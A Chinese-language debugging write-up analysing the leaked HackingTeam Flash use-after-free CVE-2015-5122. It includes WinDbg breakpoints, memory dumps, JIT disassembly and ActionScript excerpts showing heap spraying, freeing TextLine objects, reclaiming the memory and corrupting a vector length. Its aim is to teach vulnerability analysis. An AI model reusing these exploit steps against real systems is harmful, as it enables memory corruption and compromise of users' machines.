借HackingTeam Flash 0day事件詳細介紹下調試流程以及jitcode,幫助一些朋友們后續更好的學習。
ValueOf 頻出漏洞,adobe現在一直在缺哪補哪,7月8號才修復了hackingteam爆出來的0day CVE-2015-5119,緊接著10號又被人從泄露的郵件中挖掘出另一個0day,又是valueOf的問題。這次這個0day是TextLine對 象的valueOf造成的UAF漏洞,Fireeye已經提交了adobe并領取了CVE-2015-5122,Adobe也發布了安全公告。
一直本著有人分析過的漏洞不在專門寫文章來描述,有點重復工作的感覺。不過剛好有點想法通過這個文章詳細介紹下調試流程以及jitcode,幫助一些朋友們后續更好的學習。
茫茫JIT CODE中,如何找到我們想要跟蹤的代碼呢?
茫 茫JIT CODE,如何找到我們想要跟蹤的代碼? 這里有很多方法,具體可以參見附錄debug jitcode,這里通過先找到array的函數創建以及數據結構,獲取設置值對應的實現函數, 來跟蹤整個EXP 代碼的JIT CODE 流程(PS:怎么找到的?根據附錄里面的方法)
ARRAY Struct
+0x10?? m_buffer
+0x18?? m_pos
+0x1c?? m_cab
Data
m_buffer + 8 + m_pos*4
Array Method 對應18.0.0.203.ocx 地址
106B54D0?? ArrayObject::_setUintProperty
106AECB0?? ArrayObject:create_array
通過設置如下斷點來跟蹤
bu Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x19b9c0 “.echo set array value;dd esp”?? avmplus::ListImpl? // 10662080
bu Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x19b860 “set array value by obj”?? // 10661F20
bu Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x1e85f0 “.echo createarray”
bu avmplus::ArrayObject::_setUintProperty
整個exp里面在真正TryExpl之前有個Check64函數,這里不詳細講述,原理跟TryExpl一樣主要是用來做探路先小觸發下漏洞獲取當前是64位還是32位進程。
在調用TryExpl之前有幾次分配array 可以直接忽略,可以根據TryExpl里面的Array長度為0x7E來識別
In TryExpl
1 ArrayCreate
_arLen1 = 10 * 3;??????????????????? //0x1e
_arLen2 = _arLen1 + 4 * 4;??? //0x2e
_arLen = _arLen2 + 10 * 8;??? //0x7e
_ar = new Array(_arLen);?????? //0x7E
Createarray函數返回ArrayObject對象地址
2 Fill Array? memory?? 0-0x1E
_vLen = 400/4-2;
// fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)
for(var i:int; i < _arLen1; i++) //? 0 <= I –< 0x1e
_ar[i] = new Vector.<uint>(_vLen);//_vLen=0x62
此段代碼執行后,ArrayObject->m_buffer+8 處0 – 0x1e 偏移填充了vector<uint>(_vLen)對象
0:008> dd 092ff4c0 +8? // 0-0x1e fill vector
092ff4c8? 09327df9 09327e21 09327e49 09327e99
092ff4d8? 09327ec1 09327ee9 08f25039 08f25061
092ff4e8? 08f25089 08f250b1 08f250d9 08f25101
092ff4f8? 08f25129 08f25151 08f25179 08f251a1
092ff508? 08f251c9 08f251f1 08f25219 08f25241
092ff518? 08f25269 08f25291 08f252b9 08f252e1
092ff528? 08f25309 08f25331 08f25359 08f25381
092ff538? 08f253a9 08f253d1 00000000 00000000
//vector.<uint>(_vLen)對象
0:008> dd 09327df9 -1?? atom decrement
09327df8? 08204748 00000002 0934d1f0 092bffd0
09327e08? 09318150 00000000 093cf1b0 00000000??? //m_buffer
09327e18? 00000000 00000000 08204748 00000002
09327e28? 0934d1f0 092bffd0 09318150 00000000
09327e38? 093cf340 00000000 00000000 00000000
09327e48? 08204748 00000002 0934d1f0 092bffd0
09327e58? 09318150 00000000 093cf4d0 00000000
09327e68? 00000000 00000000 081f2e90 00000004
0:008> dd 093cf1b0? //vector buffer
093cf1b0? 00000062 08d42000 00000000 00000000 //length
093cf1c0? 00000000 00000000 00000000 00000000
093cf1d0? 00000000 00000000 00000000 00000000
093cf1e0? 00000000 00000000 00000000 00000000
093cf1f0? 00000000 00000000 00000000 00000000
093cf200? 00000000 00000000 00000000 00000000
093cf210? 00000000 00000000 00000000 00000000
093cf220? 00000000 00000000 00000000 00000000
3 Fill Array? memory?? 0x2E-0x7E
此段代碼執行后,ArrayObject->m_buffer+8+0x2e*I 處填充了vector<uint>(8)對象,見藍色字體部分
4 Prepare TextLines? 0x1e-0x2e
此段代碼從0x1e到0x2e 分配TextLineObject并且填充,紅色字體部分為TextLineObject
5 Set opaqueBackground Alloc BackGroudObj
此段代碼對于上面分配的TextLineObj設置opaqueBackground屬性,觸發分配BackGroundObject。
如何從上面的jitcode跟到這里,其實有很多方法,比如最簡單的單步過來,或者對arrary[i]下訪問讀斷點之后單步返回到jitcode領空
Jitcode
098c8331 83ec0c????????? sub???? esp,0Ch
098c8334 53????????????? push??? ebx
098c8335 e846c931fe????? call??? Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x1ee5c0 (07be4c80)
098c833a 83c40c????????? add???? esp,0Ch/ /return textline obj? getproperty
….
098c8374 ffb514ffffff??? push??? dword ptr [ebp-0ECh]
098c837a 6a0e??????????? push??? 0Eh
098c837c 53????????????? push??? ebx
098c837d 68e0c63109????? push??? 931C6E0h
098c8382 ffd0??????????? call??? eax {Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x206590 (07bfcc50)}
// setproperty opaqueBackground
avmplus::setprop_miss — avmplus::setprop_setter – …….. – sub_1025DD12 如果加載了avm
plus sig的話可以看到一些符號路徑
void __thiscall set_opaqueBackground(int textline_obj, unsigned int a2) // 1025DD12
{
int v2; // ebp@1
int v3; // edi@1
int buf; // eax@2
int v5; // esi@2
signed int v6; // eax@7
v2 = textline_obj;
v3 = *(_DWORD *)(textline_obj + 0x24);
if ( v3 )
{
buf = sub_10021F6D(v3);
v5 = buf;
if ( a2 > 4 )
{
if ( !buf )
v5 = sub_1025DC52((void *)v2);????????? // 分配0x390 BackgroudObj
avmplus::AvmCore::integer(a2);??????????? // 對參數進行轉換 調用valueOf函數
*(_DWORD *)(v5 + 0x30C) |= 4u;
*(_BYTE *)(sub_102B7B16(v2) + 2144) = 1;
*(_BYTE *)(v5 + 0x322) = v6 >> 16;
*(_BYTE *)(v5 + 0x320) = v6;
*(_BYTE *)(v5 + 0x321) = BYTE1(v6);
}
else if ( buf )
{
*(_DWORD *)(buf + 0x30C) &= 0xFFFFFFFB;
}
sub_10104280(1, 0);
if ( v5 )
*(_BYTE *)(v5 + 0x1E0) = 1;
*(_DWORD *)(v3 + 0x20) |= 4u;
}
}
set_opaqueBackground函數首 先判斷BackGroudObj是否存在,不存在則調用1025DC52分配0×390大小的Object,隨后調用 avmplus::AvmCore::integer對寫入的參數進行轉換,這里如果傳入的是Object 會調用相應的valueOf函數。
通過設置如下斷點 即可打印所有的分配BackgroudObj 地址
bu Flash32_18_0_0_203!DllUnregisterServer+0x74868 “.echo allocate 0x390 obj;r eax”
>dd eax
09959418? 080c4380 00000001 08d550b0 08d4e000
09959428? 00000000 00000000 00000000 00000000
09959438? 00000000 00000000 00000000 00000000
09959448? 00000000 00000000 00000000 00000000
09959458? 00000000 00000000 00000000 00000000
09959468? 00000000 00000000 00000004 00000000
09959478? 00000001 00000000 00010000 00000000
09959488? 00000000 00000000 00000000 00000000
6 Memory Layout
執行上面的as語句之后,此時整個內存布局,可以通過windbg的搜索命令獲得
Vector.<uint>(_vLen);
093cf1b0? 00000062 08d42000 00000000 00000000? b…. ………. //vector1
093cf340? 00000062 08d42000 00000000 00000000? b…. ………. //vector2
093cf4d0? 00000062 08d42000 00000000 00000000? b…. ………. //…….
093cf660? 00000062 08d42000 00000000 00000000? b…. ……….
093cf7f0? 00000062 08d42000 00000000 00000000? b…. ……….
093cf980? 00000062 08d42000 00000000 00000000? b…. ……….
093cfb10? 00000062 08d42000 00000000 00000000? b…. ……….
093cfca0? 00000062 08d42000 00000000 00000000? b…. ……….
093cfe30? 00000062 08d42000 00000000 00000000? b…. ……….
09474020? 00000062 08d42000 00000000 00000000? b…. ……….
094741b0? 00000062 08d42000 00000000 00000000? b…. ……….
09474340? 00000062 08d42000 00000000 00000000? b…. ……….
094744d0? 00000062 08d42000 00000000 00000000? b…. ……….
09474660? 00000062 08d42000 00000000 00000000? b…. ……….
094747f0? 00000062 08d42000 00000000 00000000? b…. ……….
09474980? 00000062 08d42000 00000000 00000000? b…. ……….
09474b10? 00000062 08d42000 00000000 00000000? b…. ……….
09474ca0? 00000062 08d42000 00000000 00000000? b…. ……….
09474e30? 00000062 08d42000 00000000 00000000? b…. ……….
09476020? 00000062 08d42000 00000000 00000000? b…. ……….
094761b0? 00000062 08d42000 00000000 00000000? b…. ……….
09476340? 00000062 08d42000 00000000 00000000? b…. ……….
094764d0? 00000062 08d42000 00000000 00000000? b…. ……….
09476660? 00000062 08d42000 00000000 00000000? b…. ……….
094767f0? 00000062 08d42000 00000000 00000000? b…. ……….
09476980? 00000062 08d42000 00000000 00000000? b…. ……….
09476b10? 00000062 08d42000 00000000 00000000? b…. ……….
09476ca0? 00000062 08d42000 00000000 00000000? b…. ……….
09476e30? 00000062 08d42000 00000000 00000000? b…. ……….
09954020? 00000062 08d42000 00000000 00000000? b…. ……….
// Vector.<uint>(8)
08d3e390? 00000008 08d42000 00000030 00000000? ….. ..0…….
08d3e688? 00000008 08d42000 00000035 00000000? ….. ..5…….
08d3e6d8? 00000008 08d42000 0000002f 00000000? ….. ../…….
08d3e7c8? 00000008 08d42000 0000002e 00000000? ….. ……….
08d3e8b8? 00000008 08d42000 00000031 00000000? ….. ..1…….
08d3e8e0? 00000008 08d42000 00000032 00000000? ….. ..2…….
08d3e908? 00000008 08d42000 00000034 00000000? ….. ..4…….
08d3e930? 00000008 08d42000 00000033 00000000? ….. ..3…….
08d3e980? 00000008 08d42000 00000036 00000000? ….. ..6…….
08d3e9a8? 00000008 08d42000 00000037 00000000? ….. ..7…….
08d3e9d0? 00000008 08d42000 00000038 00000000? ….. ..8…….
08d3e9f8? 00000008 08d42000 00000039 00000000? ….. ..9…….
08d3ea20? 00000008 08d42000 0000003a 00000000? ….. ..:…….
08d3ea48? 00000008 08d42000 0000003b 00000000? ….. ..;…….
08d3ea70? 00000008 08d42000 0000003c 00000000? ….. ..<…….
08d3ea98? 00000008 08d42000 0000003d 00000000? ….. ..=…….
08d3eac0? 00000008 08d42000 0000003e 00000000? ….. ..>…….
08d3eae8? 00000008 08d42000 0000003f 00000000? ….. ..?…….
08d3eb10? 00000008 08d42000 00000040 00000000? ….. ..@…….
08d3eb38? 00000008 08d42000 00000041 00000000? ….. ..A…….
08d3eb60? 00000008 08d42000 00000042 00000000? ….. ..B…….
08d3eb88? 00000008 08d42000 00000043 00000000? ….. ..C…….
08d3ebb0? 00000008 08d42000 00000044 00000000? ….. ..D…….
08d3ebd8? 00000008 08d42000 00000045 00000000? ….. ..E…….
08d3ec00? 00000008 08d42000 00000046 00000000? ….. ..F…….
08d3ec28? 00000008 08d42000 00000047 00000000? ….. ..G…….
08d3ec50? 00000008 08d42000 00000048 00000000? ….. ..H…….
08d3ec78? 00000008 08d42000 00000049 00000000? ….. ..I…….
08d3eca0? 00000008 08d42000 0000004a 00000000? ….. ..J…….
08d3ecc8? 00000008 08d42000 0000004b 00000000? ….. ..K…….
08d3ecf0? 00000008 08d42000 0000004c 00000000? ….. ..L…….
08d3ed18? 00000008 08d42000 0000004d 00000000? ….. ..M…….
08d3ed40? 00000008 08d42000 0000004e 00000000? ….. ..N…….
08d3ed68? 00000008 08d42000 0000004f 00000000? ….. ..O…….
08d3ed90? 00000008 08d42000 00000050 00000000? ….. ..P…….
08d3edb8? 00000008 08d42000 00000051 00000000? ….. ..Q…….
08d3ede0? 00000008 08d42000 00000052 00000000? ….. ..R…….
08d3ee08? 00000008 08d42000 00000053 00000000? ….. ..S…….
08d3ee30? 00000008 08d42000 00000054 00000000? ….. ..T…….
08d3ee58? 00000008 08d42000 00000055 00000000? ….. ..U…….
08d3ee80? 00000008 08d42000 00000056 00000000? ….. ..V…….
08d3eea8? 00000008 08d42000 00000057 00000000? ….. ..W…….
08d3eed0? 00000008 08d42000 00000058 00000000? ….. ..X…….
08d3eef8? 00000008 08d42000 00000059 00000000? ….. ..Y…….
08d3ef20? 00000008 08d42000 0000005a 00000000? ….. ..Z…….
08d3ef48? 00000008 08d42000 0000005b 00000000? ….. ..[…….
08d3ef70? 00000008 08d42000 0000005c 00000000? ….. ..\…….
08d3ef98? 00000008 08d42000 0000005d 00000000? ….. ..]…….
08d3efc0? 00000008 08d42000 0000005e 00000000? ….. ..^…….
09955020? 00000008 08d42000 0000005f 00000000? ….. .._…….
09955048? 00000008 08d42000 00000060 00000000? ….. ..`…….
09955070? 00000008 08d42000 00000061 00000000? ….. ..a…….
09955098? 00000008 08d42000 00000062 00000000? ….. ..b…….
099550c0? 00000008 08d42000 00000063 00000000? ….. ..c…….
099550e8? 00000008 08d42000 00000064 00000000? ….. ..d…….
09955110? 00000008 08d42000 00000065 00000000? ….. ..e…….
09955138? 00000008 08d42000 00000066 00000000? ….. ..f…….
09955160? 00000008 08d42000 00000067 00000000? ….. ..g…….
09955188? 00000008 08d42000 00000068 00000000? ….. ..h…….
099551b0? 00000008 08d42000 00000069 00000000? ….. ..i…….
099551d8? 00000008 08d42000 0000006a 00000000? ….. ..j…….
09955200? 00000008 08d42000 0000006b 00000000? ….. ..k…….
09955228? 00000008 08d42000 0000006c 00000000? ….. ..l…….
09955250? 00000008 08d42000 0000006d 00000000? ….. ..m…….
09955278? 00000008 08d42000 0000006e 00000000? ….. ..n…….
099552a0? 00000008 08d42000 0000006f 00000000? ….. ..o…….
099552c8? 00000008 08d42000 00000070 00000000? ….. ..p…….
099552f0? 00000008 08d42000 00000071 00000000? ….. ..q…….
09955318? 00000008 08d42000 00000072 00000000? ….. ..r…….
09955340? 00000008 08d42000 00000073 00000000? ….. ..s…….
09955368? 00000008 08d42000 00000074 00000000? ….. ..t…….
09955390? 00000008 08d42000 00000075 00000000? ….. ..u…….
099553b8? 00000008 08d42000 00000076 00000000? ….. ..v…….
099553e0? 00000008 08d42000 00000077 00000000? ….. ..w…….
09955408? 00000008 08d42000 00000078 00000000? ….. ..x…….
09955430? 00000008 08d42000 00000079 00000000? ….. ..y…….
09955458? 00000008 08d42000 0000007a 00000000? ….. ..z…….
09955480? 00000008 08d42000 0000007b 00000000? ….. ..{…….
099554a8? 00000008 08d42000 0000007c 00000000? ….. ..|…….
099554d0? 00000008 08d42000 0000007d 00000000? ….. ..}…….
//BackGroudobj
09952020? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
09959020? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
09959418? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
09959810? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
09959c08? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995a020? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995a418? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995a810? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995ac08? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995b020? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995b418? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995b810? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995bc08? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995c020? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995c418? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995c810? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
7 Reset myclass valueof
// set custom valueOf() for _mc
MyClass.prototype.valueOf = valueOf2;
此段代碼重置MyClass的valueOf函數
8 Trigger call valueOf2
// here we go, call the vulnerable setter
_cnt = _arLen2-6;
_ar[_cnt].opaqueBackground = _mc;
從第6節的set_opaqueBackground可以看到設置屬性時會對參數調用
avmplus::AvmCore::integer進行轉換時會調用valueOf函數,這里調用觸發UAF,可以直接對set_opauebackgroud函數下斷,跟蹤avmplus::AvmCore::integer獲取到valueOf的jit code
In valueOf2
1 Recursive call set opaqueBackground
if (++_cnt < _arLen2) {
// recursive call for next TextLine
_ar[_cnt].opaqueBackground = _mc;
初始時_cnt為0×28 _arLen2 = 0x2e,滿足條件 循環調用_ar[_cnt].opaqueBackground直至_cnt 等于_arLen2-1,調用6次設置opaqueBackground函數,進入一個堆棧嵌套循環調用
這 里進行嵌套的目的是隨后釋放對象被占用后,avmplus::AvmCore::integer調用返回到 set_opaqueBackground函數中,后面有對BackgroudObj進行寫操作,從而改寫重新占用的 vector<uint> buffer的長度值。
2 free textline inner obj
// free internal objects
for(var i:int=1; i <= 5; i++)
_tb.recreateTextLine(_ar[_arLen2-i]); //0x2d<= <=0x29
此段代碼對0×29 到0x2d 位置的TextLineObject釋放,觸發之前分配的0×390的BackgroudObj釋放。
此時可以通過對Array->m_buffer+8+0x2d*4? 設置讀取斷點
dd 08d560b0 +0x8+0x2d*4? //_ar[_arLen2-i]
ba r 1 08d5616c?? //設置讀取斷點 之后返回 找到相應的jitcode
jitcode
098c736e 83ec0c????????? sub???? esp,0Ch
098c7371 57????????????? push??? edi
098c7372 e8a9d531fe????? call??? Flash32_18_0_0_203!IAEModule_IAEKernel_UnloadModule+0x1ee260 (07be4920)
098c7377 83c40c????????? add???? esp,0Ch
098c737a 8985fcfeffff??? mov???? dword ptr [ebp-104h],eax
098c7380 8bbdfcfeffff??? mov???? edi,dword ptr [ebp-104h]
098c7386 89bdf4feffff??? mov???? dword ptr [ebp-10Ch],edi
098c738c eb19??????????? jmp???? 098c73a7
…..
098c740e 83ec04????????? sub???? esp,4
098c7411 57????????????? push??? edi
098c7412 6a01??????????? push??? 1
098c7414 53????????????? push??? ebx
098c7415 ffd0??????????? call??? eax?????? //recreateline
098c7417 83c410????????? add???? esp,10h
098c741a c7458c64000000? mov???? dword ptr [ebp-74h],64h
098c7421 c7458c66000000? mov???? dword ptr [ebp-74h],66h
098c7428 8b5e10????????? mov???? ebx,dword ptr [esi+10h]
098c742b c7458c68000000? mov???? dword ptr [ebp-74h],68h
098c7432 8d5b01????????? lea???? ebx,[ebx+1]? //0-5
098c7435 c7458c69000000? mov???? dword ptr [ebp-74h],69h
098c743c c7458c6b000000? mov???? dword ptr [ebp-74h],6Bh
098c7443 c7458c6c000000? mov???? dword ptr [ebp-74h],6Ch
098c744a 895e10????????? mov???? dword ptr [esi+10h],ebx
098c744d c7458c6e000000? mov???? dword ptr [ebp-74h],6Eh
098c7454 8b75b8????????? mov???? esi,dword ptr [ebp-48h]
098c7457 89b5fcfeffff??? mov???? dword ptr [ebp-104h],esi
098c745d 8bc0??????????? mov???? eax,eax
098c745f c7458c70000000? mov???? dword ptr [ebp-74h],70h
098c7466 8b5e10????????? mov???? ebx,dword ptr [esi+10h]
此時之前分配的BackGroudObj被釋放
0:008> s -d 0x0 l?0x7fffffff 080c4380 00000001 08d550b0 08d4e000
09952020? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
09959020? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
09959418? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
09959810? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
09959c08? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995a020? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995a418? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995a810? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995ac08? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995b020? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
0995b418? 080c4380 00000001 08d550b0 08d4e000? .C…….P……
這時只能搜索到11個BackGroudObj,后面5個BackGroudObj已經被釋放
3 reuse feed memmory
此段代碼的對0x2e-0x7e的vector<uint>(8)對象長度重新設置,觸發重新分配buffer。
繼續跟蹤之前的jit code隨后即可看到這里
Jit code
098c75e9 8b7db8????????? mov???? edi,dword ptr [ebp-48h]
098c75ec c7458ca1000000? mov???? dword ptr [ebp-74h],0A1h
098c75f3 8b5f10????????? mov???? ebx,dword ptr [edi+10h]
098c75f6 c7458ca3000000? mov???? dword ptr [ebp-74h],0A3h
098c75fd 8b7e20????????? mov???? edi,dword ptr [esi+20h]
098c7600 83e7f8????????? and???? edi,0FFFFFFF8h
098c7603 8b7720????????? mov???? esi,dword ptr [edi+20h]
098c7606 c7458ca6000000? mov???? dword ptr [ebp-74h],0A6h
098c760d 3bde??????????? cmp???? ebx,esi //2e<0x7e
098c760f 0f8cabfeffff??? jl????? 098c74c0
之前申請的vector<uint>(8)對象的buffer重新申請,對應的buffer長度已經改變
0:008> dd 08f253f9 -1
08f253f8? 08204748 00000002 0934d1f0 092bffd0
08f25408? 09318150 00000000 099541b0 00000000
08f25418? 00000000 00000000 08204748 00000002
08f25428? 0934d1f0 092bffd0 09318150 00000000
08f25438? 09954340 00000000 00000000 00000000
08f25448? 08204748 00000002 0934d1f0 092bffd0
08f25458? 09318150 00000000 099544d0 00000000
08f25468? 00000000 00000000 08204748 00000002
0:008> dd 099541b0
099541b0? 00000062 08d42000 0000002e 00000000
099541c0? 00000000 00000000 00000000 00000000
099541d0? 00000000 00000000 00000000 00000000
099541e0? 00000000 00000000 00000000 00000000
099541f0? 00000000 00000000 00000000 00000000
09954200? 00000000 00000000 00000000 00000000
09954210? 00000000 00000000 00000000 00000000
09954220? 00000000 00000000 00000000 00000000
重新分配的vector內存布局
s -d 0x0 l?0x7fffffff 00000062 08d42000
099541b0? 00000062 08d42000 0000002e 00000000? b…. ……….
09954340? 00000062 08d42000 0000002f 00000000? b…. ../…….
099544d0? 00000062 08d42000 00000030 00000000? b…. ..0…….
09954660? 00000062 08d42000 00000031 00000000? b…. ..1…….
099547f0? 00000062 08d42000 00000032 00000000? b…. ..2…….
09954980? 00000062 08d42000 00000033 00000000? b…. ..3…….
09954b10? 00000062 08d42000 00000034 00000000? b…. ..4…….
09954ca0? 00000062 08d42000 00000035 00000000? b…. ..5…….
09954e30? 00000062 08d42000 00000036 00000000? b…. ..6…….
0995c020? 00000062 08d42000 00000037 00000000? b…. ..7…….
0995c1b0? 00000062 08d42000 00000038 00000000? b…. ..8…….
0995c340? 00000062 08d42000 00000039 00000000? b…. ..9…….
0995c4d0? 00000062 08d42000 0000003a 00000000? b…. ..:…….
0995c660? 00000062 08d42000 0000003b 00000000? b…. ..;…….
0995c7f0? 00000062 08d42000 0000003c 00000000? b…. ..<…….
0995c980? 00000062 08d42000 0000003d 00000000? b…. ..=…….
0995cb10? 00000062 08d42000 0000003e 00000000? b…. ..>…….
0995cca0? 00000062 08d42000 0000003f 00000000? b…. ..?…….
0995ce30? 00000062 08d42000 00000040 00000000? b…. ..@…….
0995e020? 00000062 08d42000 00000041 00000000? b…. ..A…….
0995e1b0? 00000062 08d42000 00000042 00000000? b…. ..B…….
0995e340? 00000062 08d42000 00000043 00000000? b…. ..C…….
0995e4d0? 00000062 08d42000 00000044 00000000? b…. ..D…….
0995e660? 00000062 08d42000 00000045 00000000? b…. ..E…….
0995e7f0? 00000062 08d42000 00000046 00000000? b…. ..F…….
0995e980? 00000062 08d42000 00000047 00000000? b…. ..G…….
0995eb10? 00000062 08d42000 00000048 00000000? b…. ..H…….
0995eca0? 00000062 08d42000 00000049 00000000? b…. ..I…….
0995ee30? 00000062 08d42000 0000004a 00000000? b…. ..J…….
0995f020? 00000062 08d42000 0000004b 00000000? b…. ..K…….
0995f1b0? 00000062 08d42000 0000004c 00000000? b…. ..L…….
0995f340? 00000062 08d42000 0000004d 00000000? b…. ..M…….
0995f4d0? 00000062 08d42000 0000004e 00000000? b…. ..N…….
0995f660? 00000062 08d42000 0000004f 00000000? b…. ..O…….
0995f7f0? 00000062 08d42000 00000050 00000000? b…. ..P…….
0995f980? 00000062 08d42000 00000051 00000000? b…. ..Q…….
0995fb10? 00000062 08d42000 00000052 00000000? b…. ..R…….
0995fca0? 00000062 08d42000 00000053 00000000? b…. ..S…….
0995fe30? 00000062 08d42000 00000054 00000000? b…. ..T…….
09968020? 00000062 08d42000 00000055 00000000? b…. ..U…….
099681b0? 00000062 08d42000 00000056 00000000? b…. ..V…….
09968340? 00000062 08d42000 00000057 00000000? b…. ..W…….
099684d0? 00000062 08d42000 00000058 00000000? b…. ..X…….
09968660? 00000062 08d42000 00000059 00000000? b…. ..Y…….
099687f0? 00000062 08d42000 0000005a 00000000? b…. ..Z…….
09968980? 00000062 08d42000 0000005b 00000000? b…. ..[…….
09968b10? 00000062 08d42000 0000005c 00000000? b…. ..\…….
09968ca0? 00000062 08d42000 0000005d 00000000? b…. ..]…….
09968e30? 00000062 08d42000 0000005e 00000000? b…. ..^…….
09969020? 00000062 08d42000 0000005f 00000000? b…. .._…….
099691b0? 00000062 08d42000 00000060 00000000? b…. ..`…….
09969340? 00000062 08d42000 00000061 00000000? b…. ..a…….
099694d0? 00000062 08d42000 00000062 00000000? b…. ..b…….
09969660? 00000062 08d42000 00000063 00000000? b…. ..c…….
099697f0? 00000062 08d42000 00000064 00000000? b…. ..d…….
09969980? 00000062 08d42000 00000065 00000000? b…. ..e…….
09969b10? 00000062 08d42000 00000066 00000000? b…. ..f…….
09969ca0? 00000062 08d42000 00000067 00000000? b…. ..g…….
09969e30? 00000062 08d42000 00000068 00000000? b…. ..h…….
0996a020? 00000062 08d42000 00000069 00000000? b…. ..i…….
0996a1b0? 00000062 08d42000 0000006a 00000000? b…. ..j…….
0996a340? 00000062 08d42000 0000006b 00000000? b…. ..k…….
0996a4d0? 00000062 08d42000 0000006c 00000000? b…. ..l…….
0996a660? 00000062 08d42000 0000006d 00000000? b…. ..m…….
0996a7f0? 00000062 08d42000 0000006e 00000000? b…. ..n…….
0996a980? 00000062 08d42000 0000006f 00000000? b…. ..o…….
0996ab10? 00000062 08d42000 00000070 00000000? b…. ..p…….
0996aca0? 00000062 08d42000 00000071 00000000? b…. ..q…….
0996ae30? 00000062 08d42000 00000072 00000000? b…. ..r…….
0996b020? 00000062 08d42000 00000073 00000000? b…. ..s…….
0996b1b0? 00000062 08d42000 00000074 00000000? b…. ..t…….
0996b340? 00000062 08d42000 00000075 00000000? b…. ..u…….
0996b4d0? 00000062 08d42000 00000076 00000000? b…. ..v…….
0996b660? 00000062 08d42000 00000077 00000000? b…. ..w…….
0996b7f0? 00000062 08d42000 00000078 00000000? b…. ..x…….
0996b980? 00000062 08d42000 00000079 00000000? b…. ..y…….
0996bb10? 00000062 08d42000 0000007a 00000000? b…. ..z…….
0996bca0? 00000062 08d42000 0000007b 00000000? b…. ..{…….
0996be30? 00000062 08d42000 0000007c 00000000? b…. ..|…….
0996c020? 00000062 08d42000 0000007d 00000000? b…. ..}…….
而之前釋放的5個BackGroudObj的地址,可以看到紅色部分已經被分配的vector buffer重新占用
4 Recurisive return
隨后avmplus::AvmCore::integer調用valueOf函數開始返回到之前的set_opaqueBackground函數中,后面對BackgroundObj進行一些初始化
*(_DWORD *)(v5 + 0x30C) |= 4u;
*(_BYTE *)(sub_102B7B16(v2) + 0x860) = 1;
*(_BYTE *)(v5 + 0x322) = v6 >> 16;
*(_BYTE *)(v5 + 0x320) = v6;? //KEY
*(_BYTE *)(v5 + 0x321) = BYTE1(v6);
Breakpoint 6 hit
eax=00000000 ebx=0000006a ecx=09957850 edx=00000006 esi=0995c810 edi=09951e50
eip=0778dd7e esp=038fe5a4 ebp=09957850 iopl=0???????? nv up ei pl zr na pe nc
cs=001b? ss=0023? ds=0023? es=0023? fs=003b? gs=0000???????????? efl=00040246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
0778dd7e 889e20030000??? mov???? byte ptr [esi+320h],bl???? ds:0023:0995cb30=00
0:008> g
Breakpoint 6 hit
eax=00000000 ebx=0000006a ecx=09957850 edx=00000006 esi=0995c810 edi=09951e50
eip=0778dd7e esp=038fe5a4 ebp=09957850 iopl=0???????? nv up ei pl zr na pe nc
cs=001b? ss=0023? ds=0023? es=0023? fs=003b? gs=0000???????????? efl=00040246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
0778dd7e 889e20030000??? mov???? byte ptr [esi+320h],bl???? ds:0023:0995cb30=00
0:008> g
Breakpoint 6 hit
eax=00000000 ebx=0000006a ecx=09957708 edx=00000006 esi=0995c418 edi=09951d78
eip=0778dd7e esp=038fe82c ebp=09957708 iopl=0???????? nv up ei pl zr na pe nc
cs=001b? ss=0023? ds=0023? es=0023? fs=003b? gs=0000???????????? efl=00040246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
0778dd7e 889e20030000??? mov???? byte ptr [esi+320h],bl???? ds:0023:0995c738=00
0:008> g
Breakpoint 6 hit
eax=00000000 ebx=0000006a ecx=09957708 edx=00000006 esi=0995c418 edi=09951d78
eip=0778dd7e esp=038fe82c ebp=09957708 iopl=0???????? nv up ei pl zr na pe nc
cs=001b? ss=0023? ds=0023? es=0023? fs=003b? gs=0000???????????? efl=00040246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
0778dd7e 889e20030000??? mov???? byte ptr [esi+320h],bl???? ds:0023:0995c738=00
0:008> g
Breakpoint 6 hit
eax=00000000 ebx=0000006a ecx=099575c0 edx=00000006 esi=0995c020 edi=09951ca0
eip=0778dd7e esp=038feab4 ebp=099575c0 iopl=0???????? nv up ei pl zr na pe nc
cs=001b? ss=0023? ds=0023? es=0023? fs=003b? gs=0000???????????? efl=00040246
Flash32_18_0_0_203!DllUnregisterServer+0x7489c:
0778dd7e 889e20030000??? mov???? byte ptr [esi+320h],bl???? ds:0023:0995c340=62
剛好0×320 offset處為下一個vector<uint>(0×62)的buffer長度字段
0:008> dd 0995c340? //vector<uint>(0x62) mbuffer
0995c340? 00000062 08d42000 00000039 00000000
0995c350? 00000000 00000000 00000000 00000000
0995c360? 00000000 00000000 00000000 00000000
